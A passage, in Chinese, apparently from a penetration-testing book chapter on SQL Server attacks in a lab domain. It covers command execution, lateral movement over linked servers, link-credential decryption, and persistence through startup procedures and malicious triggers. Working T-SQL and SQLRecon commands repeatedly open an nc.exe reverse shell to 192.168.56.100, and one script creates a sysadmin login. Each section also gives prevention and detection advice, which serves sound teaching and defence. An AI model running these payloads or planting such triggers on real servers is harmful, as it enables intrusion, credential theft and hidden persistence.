EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output

与 CLR 执行一样,无法完全防止这种攻击。建议禁用 OLE 自动化,并移除用户存储过程的执行权限。可以通过对所有上述执行方法的sp_configure事件监控来进行检测。此外,当odsole70.dll加载到内存中时,事件 ID 33090将被生成,而当sp_OACreate被执行时,将生成事件 ID 8128

代理作业

SQL Server Agent 是一个 Windows 服务,用于执行自动化任务。代理作业将在 SQL Server Agent 服务下运行,或者可以利用代理代理功能,这意味着作业将在不同的用户上下文中运行。可以通过sp_start_job存储过程手动启动作业、安排作业或在特定条件满足时执行作业。要创建一个作业,需要sysadmin角色或msdb数据库中的SQLAgentUserRoleSQLAgentReaderRoleSQLAgentOperatorRole固定数据库角色。许多作业类型,如 CmdExec、PowerShell、ActiveX 脚本和 SQL Server 集成服务,支持命令执行。利用作业功能需要以下步骤:

  • sp_add_job – 创建一个作业

  • sp_add_jobstep – 添加作业步骤

  • sp_start_job – 运行一个作业

  • sp_delete_job – 删除作业

在 Optiv 博客文章[24]中展示了一个逐步创建 PowerShell 作业的精彩示例。让我们为 CmdExec 创建一个作业以获取反向 Shell:

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC SP_CONFIGURE 'Agent XPs', 1
RECONFIGURE
USE msdb
EXEC dbo.sp_add_job @job_name = N'rev_shell'
EXEC sp_add_jobstep @job_name = N'rev_shell', @step_name = N'run_nc',
@subsystem = N'cmdexec', @command = N'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'rev_shell'
EXEC dbo.sp_start_job N'rev_shell'
EXEC dbo.sp_delete_job @job_name = N'rev_shell'

不幸的是,这段代码在我们的实验室中无法运行,因为 SQL Server Agent 服务无法启动。原因是 Agent 作业仅在付费版 MS SQL Server 中支持,而在 Express 版中不支持。然而,展示这种攻击向量也是很有意义的。像往常一样,PowerUpSQL 中有一个函数(Invoke-SQLOSCmdAgentJob)和 SQLRecon 中的两个模块(AgentStatusAgentCmd)可以自动化该任务。攻击者可以通过添加一个步骤到现有作业中,而不是创建一个新的作业。要列出所有作业,可以使用 PowerUpSQL 中的Get-SQLAgentJob函数或以下查询:

SELECT
job.job_id, notify_level_email, name, enabled,
description, step_name, command, server, database_name
FROM
msdb.dbo.sysjobs job
INNER JOIN
msdb.dbo.sysjobsteps steps
ON
job.job_id = steps.job_id

预防建议包括禁用 SQL Server Agent 服务(如果没有使用的话),并限制具有SQLAgentUserRoleSQLAgentReaderRoleSQLAgentOperatorRole固定数据库角色的用户。

外部脚本

还有一种方法可以借助机器学习服务功能运行命令。它使你能够运行 R 和 Python 脚本。安装此功能需要 SQL Server 的付费版本。在我们的例子中,我们将使用免费的 Express 版本,并简要了解可用的运行命令的方法。首先,要启用外部脚本,需要sysadmin权限,并进行服务器级别的更改(sp_configure 'external scripts enabled')。这两种语言有许多运行任意代码的方法,从 UNC 路径注入到完全交互式 Shell。一些有趣的示例可以在[25]和[26]中找到。PowerUpSQL 中的Invoke-SQLOSCmdRInvoke-SQLOSCmdPython函数也可以自动化利用过程。

在接下来的部分,我们将探讨攻击者如何在目标环境的域和数据库层面进行横向移动。

横向移动

正如我们在第五章中看到的,理解攻击者如何滥用合法的应用程序和协议以在目标环境内扩展是至关重要的。SQL Server 还通过两种技术拓宽了横向移动的场景。一种是常见的,叫做共享服务账户。另一种则是 SQL Server 特有的——滥用数据库链接。我们将快速探讨第一个方法,重点关注第二种方法。我们将检查如何对链接服务器进行枚举、执行代码并提取明文硬编码凭证。

共享服务账户

在整个环境中使用共享服务账户可能会导致灾难性的后果。如果一个服务账户通过 Kerberoasting、UNC 路径注入或其他任何方式被攻破,这意味着所有使用该账户的实例都会被攻破。此外,服务账户默认在数据库和 SQL Server 级别具有sysadmin权限,并且可能在底层操作系统上具有广泛的权限。为了防止这种强大的横向移动,所有服务账户应在整个环境中保持唯一,并使用 gMSA。

数据库链接

什么是数据库链接?简单来说,它是两个或多个服务器之间的持久连接。它们允许你访问外部数据源,并且如果源是 SQL Server,还可以执行存储过程。链接即使跨越森林信任,也能正常工作,有时它可能是进入另一个域或森林的唯一途径。链接的配置方式有两种——使用当前登录用户的上下文或硬编码凭据。对链接服务器的查询是以用于配置链接的用户凭据执行的。实际上,这是冒充用户。链接可以被爬取,意味着攻击者可以从一个 SQL Server 跳到另一个 SQL Server。我们需要了解我们是谁,进行枚举,并寻找权限提升或横向移动的选项。

理想的攻击场景是识别链接服务器,检查用户帐户权限,验证RPC Out值,并启用xp_cmdshell以获得命令执行权限。RPC Out允许在指定的链接服务器上运行存储过程,并且只能通过sysadmin权限启用,使用sp_serveroption过程。如果RPC Out被禁用,即使拥有sysadmin权限,也无法在链接服务器上启用xp_cmdshell。原因是,通过openquery()运行的查询不需要执行RECONFIGURE

PowerUpSQL 有两个功能(Get-SQLServerLinkGet-SQLServerLinkCrawl)可以帮助识别链接。Metasploit 有自己的模块,叫做exploit/windows/mssql/mssql_linkcrawler,可以完全自动化地部署有效载荷。攻击步骤如下:找到链接服务器,枚举它,了解登录上下文,然后提升权限和/或进行横向移动。

我们将在本节中使用 SQLRecon。我以jon.snow身份登录,使用以下命令执行上述所有操作:

SQLRecon.exe /a:WinToken /h:castelblack /m:whoami
SQLRecon.exe /a:WinToken /h:castelblack /m:links
SQLRecon.exe /a:WinToken /h:castelblack /l:braavos /m:lwhoami
SQLRecon.exe /a:WinToken /h:castelblack /l:braavos /m:lcheckrpc
SQLRecon.exe /a:WinToken /h:castelblack /l:braavos /m:lenablexp
SQLRecon.exe /a:WinToken /h:castelblack /l:braavos /m:lxpcmd /c:"C:\Users\Public\nc.exe -e cmd 192.168.56.100 443"

以下是执行在链接服务器上的命令输出:

图 9.19 – 链接服务器枚举

图 9.19 – 链接服务器枚举

成功的命令执行为我们提供了目标的交互式 Shell:

图 9.20 – 链接服务器上的交互式反向 Shell

图 9.20 – 链接服务器上的交互式反向 Shell

在本节的开始,我们提到过硬编码凭据。如果 SQL Server 凭据用于创建链接,这些凭据会以加密格式存储,因此可以以明文形式提取[27]。成功提取要求在 专用管理连接DAC)上的所有数据库实例中拥有 sysadmin 权限,并且在服务器本地具有管理员权限,以访问注册表中的熵字节。这些字节用于加强加密并存储在注册表中。该脚本还会从几个表中提取数据。如果一切顺利,你将提取到明文密码。

另一个有趣的使用场景是通过 OpenQuery 进行 LDAP 枚举[28]。在开始之前,我们需要一组有效的域凭据。可以通过破解 NTLMv2 挑战,进行 UNC 路径注入攻击后获得,或者简单地利用 SQL 服务的域帐户。基本思想是建立一个 Active Directory 服务接口ADSI)链接服务器,并通过 OpenQuery 执行 LDAP 查询:

EXEC master.dbo.sp_addlinkedserver @server = N'ENUM',
@srvproduct=N'Active Directory Service Interfaces',
@provider=N'ADSDSOObject', @datasrc=N'adsdatasource';
EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname = N'ENUM',
@locallogin = NULL , @useself = N'True';
(SELECT * FROM OPENQUERY(DEMO, 'SELECT sAMAccountName,
userAccountControl FROM ''LDAP://north.sevenkingdoms.local/DC=north,DC=sevenkingdoms,DC=local''
WHERE objectCategory = ''Person'' AND objectClass = ''user'''))

结果如以下截图所示:

图 9.21 – 通过 OpenQuery 进行域用户枚举

图 9.21 – 通过 OpenQuery 进行域用户枚举

为了防止链接滥用,移除未使用的链接,并检查链式链接。确保链接没有配置 sysadmin 或过于宽松的权限。考虑禁用 RPC Out

以下部分将展示如何通过使用 SQL Server 的合法功能,在 SQL Server 和操作系统层面实现持久性。

持久性

既然我们已经了解了域和域控制器级别的持久性,为什么还要关心 SQL Server 呢?大多数侦测控制措施是在操作系统层面实现的,而数据库审计则不太常见且不够彻底。SQL Server 服务帐户可能在操作系统上拥有广泛的权限,这为攻击者提供了一个绝佳的藏身之处,因为所有可疑的操作都会被记录为由服务帐户执行的。最后,即使在繁忙的数据库上启用了审计和监控,也很难将合法活动与恶意活动区分开。我们将从通过自动运行在操作系统层面实现持久性的最吵杂且不安全的方式开始,然后逐步过渡到 SQL Server 层面,使用启动程序和触发器。

文件和注册表自动运行

这两种方法在操作安全性上非常不安全,因为 Startup 文件夹和注册表项通常会被安全解决方案(如 Sysmon 和 EDR)监控。在这些位置写入文件,使用 SQL Server 服务帐户,可能会被视为合法行为。再说一次,强烈不推荐这么做。

我们将从写入文件到 Startup 文件夹开始。如果 SQL Server 服务帐户在主机上配置了广泛的权限,便可以将文件放入具有高权限用户的文件夹,甚至是所有用户的文件夹。必须提前启用 OLE 自动化过程。以下代码将在 sql_svcStartup 文件夹中创建一个批处理文件,该文件将与我们的机器建立连接:

DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rev.bat', 2, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, 'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

sql_svc 的下次登录时,我们会收到连接,如下图所示:

图 9.22 – 来自启动文件夹中文件的反向 shell

图 9.22 – 来自启动文件夹中文件的反向 shell

SQL Server 还允许你通过存储过程与注册表交互——xp_regwritexp_regreadxp_regdeletekey。执行这些存储过程需要sysadmin权限。然而,在操作系统层面,这还不够——例如,写入 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run hive 需要本地管理员权限。PowerUpSQL 有三个使用注册表来实现持久化的功能:

  • Get-SQLPersistRegDebugger – 为辅助功能选项设置自定义调试器

  • Get-SQLPersistRegRun – 在自动运行键中写入有效载荷

  • Get-SQLRecoverPwAutoLogon – 读取自动登录密码

现在,让我们来看看一些在数据库级别持久化的更加安全的 OpSec 选项。

启动存储过程

如你从这种类型的过程名称中可以猜到的,它会在 SQL Server 启动或重启时运行。所有此类过程都在 sa 登录下运行,必须由 sa 拥有,并且必须位于 master 数据库中。为了标记一个过程为自动执行,sysadmin 权限是必需的,但不一定是 sa。过程不能接受任何输入/输出参数。以下代码创建了我们的恶意过程(sp_rev_shell),标记其为自动执行,并列出自动执行的存储过程:

USE master
CREATE PROCEDURE sp_rev_shell
AS
EXEC master..xp_cmdshell 'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'
EXEC sp_procoption @ProcName = 'sp_rev_shell', @OptionName = 'startup', @OptionValue = 'on';
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

SQL Server 服务重启后,反向 shell 被执行:

图 9.23 – 通过启动存储过程实现持久化

图 9.23 – 通过启动存储过程实现持久化

还有一个 PowerShell 脚本,自动化这些操作[30]。它包含三种持久化场景——创建一个新的 SQL Server sysadmin 登录,创建一个 Windows 本地管理员帐户,以及运行 PowerShell 命令:

Invoke-SqlServer-Persist-StartupSp -SqlServerInstance BRAAVOS\SQLEXPRESS -NewSqlUser evil -NewSqlPass evil123! -Verbose

脚本执行结果如下所示:

图 9.24 – 完全自动化的 sysadmin 用户创建

图 9.24 – 完全自动化的 sysadmin 用户创建

这种方法的主要缺点是我们必须等待 SQL Server 的维护。NetSPI 的博客文章[29]展示了如何启用服务器级别和数据库级别的审计功能。它们可以检测使用sp_procoption过程(事件 ID 33205)、启动恶意启动过程(事件 ID 17135)以及使用 sysadmin 权限的 SQL Server 新登录(事件 ID 33205)。最后,如果攻击者决定更改或删除审计设置,事件 ID 33205 将会生成。

恶意触发器

什么是触发器?根据 Microsoft 的定义,“触发器是一种特殊类型的存储过程,当数据库服务器中发生某个事件时,它会自动运行”[31]。触发器有三种类型,依据执行条件的不同而有所区别:

  • 数据定义语言DDL)– CREATEALTERDROP 语句

  • 数据操作语言DML)– INSERTUPDATEDELETE 语句

  • 登录触发器 – 一个登录事件

DDL 触发器适用于服务器和数据库级别。有很多 DDL 事件和事件组[32]可以用来创建触发器。在繁忙的环境中,有些事件可能每隔几分钟就会发生,因此需要谨慎选择。触发器的创建就像下面的代码一样简单:

CREATE TRIGGER [ddl_persist]
ON DATABASE
FOR DROP_TABLE
AS
EXEC master..xp_cmdshell 'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'

DML 触发器仅在数据库级别工作。我们将选择一个语句和表。一个重要的警告是,与目标表一起工作的用户可能没有足够的权限执行诸如运行 xp_cmdshell 之类的操作。NetSPI 在其博客[33]中建议,应该为所有用户授予 sa 模拟权限,或者使用代理账户执行 xp_cmdshell。以下代码将创建一个 DML 触发器:

CREATE TRIGGER [dml_persist]
ON new.dbo.player
FOR INSERT, UPDATE, DELETE
AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'

登录触发器用于根据特定条件防止用户登录。攻击者可以创建一个低权限的假账户,并在需要保持持久性时使用它,而不是使用真实的用户登录。这样的触发器代码不言自明:

CREATE LOGIN [fake] WITH PASSWORD = 'fake123!'
CREATE TRIGGER [logon_persist]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'fake'
    EXEC master..xp_cmdshell 'C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'
END

尝试使用假账户登录会触发连接,但也会在日志中留下一个错误,事件 ID 为17892。启用审计功能后,触发器创建代码将在事件 ID 33205 中完全记录。

摘要

总结来说,有很多原因让对手选择 SQL Server 作为一个有价值的目标。我们通过实践演示了如何对数据库服务器进行枚举。我们深入探讨了各种权限提升技巧,不仅仅局限于数据库级别。通过从一个低权限的公共账户逐步迁移到SYSTEM,我们涵盖了攻击者的“杀链”。接着,演示了多种操作系统命令执行技巧,以帮助我们理解应用程序与宿主操作系统的集成程度。此外,我们还看到,如果数据库链接配置不当,攻击者可能会利用这些链接进行横向移动。最后,我们讨论了操作系统和数据库层面的持久化技术。对可用数据库功能的深入理解,可能会使一方相对于另一方占据优势。

进一步阅读

以下是一些进一步学习的资料,帮助你更深入理解本章中涉及的攻击:

  1. SQL Server 网络端口: www.mssqltips.com/sqlservertip/7212/sql-server-port-explanation-usage/

  2. SQL Server 2022 新的固定服务器级角色: learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-ver16

  3. SQL Server 2022 之前的固定服务器级角色: www.mssqltips.com/sqlservertip/1887/understanding-sql-server-fixed-server-roles/

  4. SQLRecon 工具: github.com/skahwah/SQLRecon

  5. PowerUpSQL 工具: github.com/NetSPI/PowerUpSQL

  6. PowerUpSQL 备忘单: github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet

  7. HeidiSQL 工具: www.heidisql.com/

  8. MS SQL Server 枚举: book.hacktricks.xyz/network-ser…

  9. MS SQL Server 枚举 2: ppn.snovvcrash.rocks/pentest/inf…

  10. 用户伪装: www.netspi.com/blog/techni…

  11. 攻击(不)可信的数据库: www.netspi.com/blog/techni…

  12. db_owner脚本提升权限: raw.githubusercontent.com/nullbind/Po…

  13. MS SQL Coerce: github.com/p0dalirius/…

  14. JuicyPotato: book.hacktricks.xyz/windows-har…

  15. RoguePotato, PrintSpoofer, SharpEfsPotato 和 GodPotato: book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer

  16. 从本地管理员获取 SQL Server sysadmin 权限: www.netspi.com/blog/technical/network-penetration-testing/get-sql-server-sysadmin-privileges-local-admin-powerupsql/

  17. master.mdf 文件中提取 SQL Server 哈希值: xpnsec.tumblr.com/post/145350063196/reading-mdf-hashes-with-powershell

  18. Invoke-MDFHashes: github.com/xpn/Powershell-PostExploitation/tree/master/Invoke-MDFHashes

  19. 自定义扩展存储过程 DLL 模板: raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp

  20. SQL Server CLR 程序集: www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/

  21. CLR 严格安全性: learn.microsoft.com/en-us/sql/database-engine/configure-windows/clr-strict-security?view=sql-server-ver16

  22. SeeCLRly 工具: github.com/sekirkity/SeeCLRly

  23. 利用 OLE 自动化: www.imperva.com/blog/how-to-exploit-sql-server-using-ole-automation/

  24. 代理作业命令执行: www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution

  25. 外部脚本执行: cheats.philkeeble.com/active-directory/mssql#external-scripts

  26. Beyond xp_cmdshellnullbind 提供: www.slideshare.net/nullbind/beyond-xpcmdshell-owning-the-empire-through-sql-server

  27. 解密链接服务器密码: www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/

  28. 通过 OpenQuery 进行 LDAP 枚举: keramas.github.io/2020/03/28/mssql-ad-enumeration2.xhtml

  29. 通过启动存储过程保持持久性: www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/

  30. Invoke-SqlServer-Persist-StartupSp 脚本: github.com/NetSPI/PowerUpSQL/blob/master/scripts/pending/Invoke-SqlServer-Persist-StartupSp.psm1

  31. 触发器: learn.microsoft.com/en-us/sql/t-sql/statements/create-trigger-transact-sql?view=sql-server-ver16

  32. DDL 事件组: learn.microsoft.com/en-us/sql/relational-databases/triggers/ddl-event-groups?view=sql-server-ver16

  33. 通过触发器保持持久性: www.netspi.com/blog/technical/network-penetration-testing/maintaining-persistence-via-sql-server-part-2-triggers/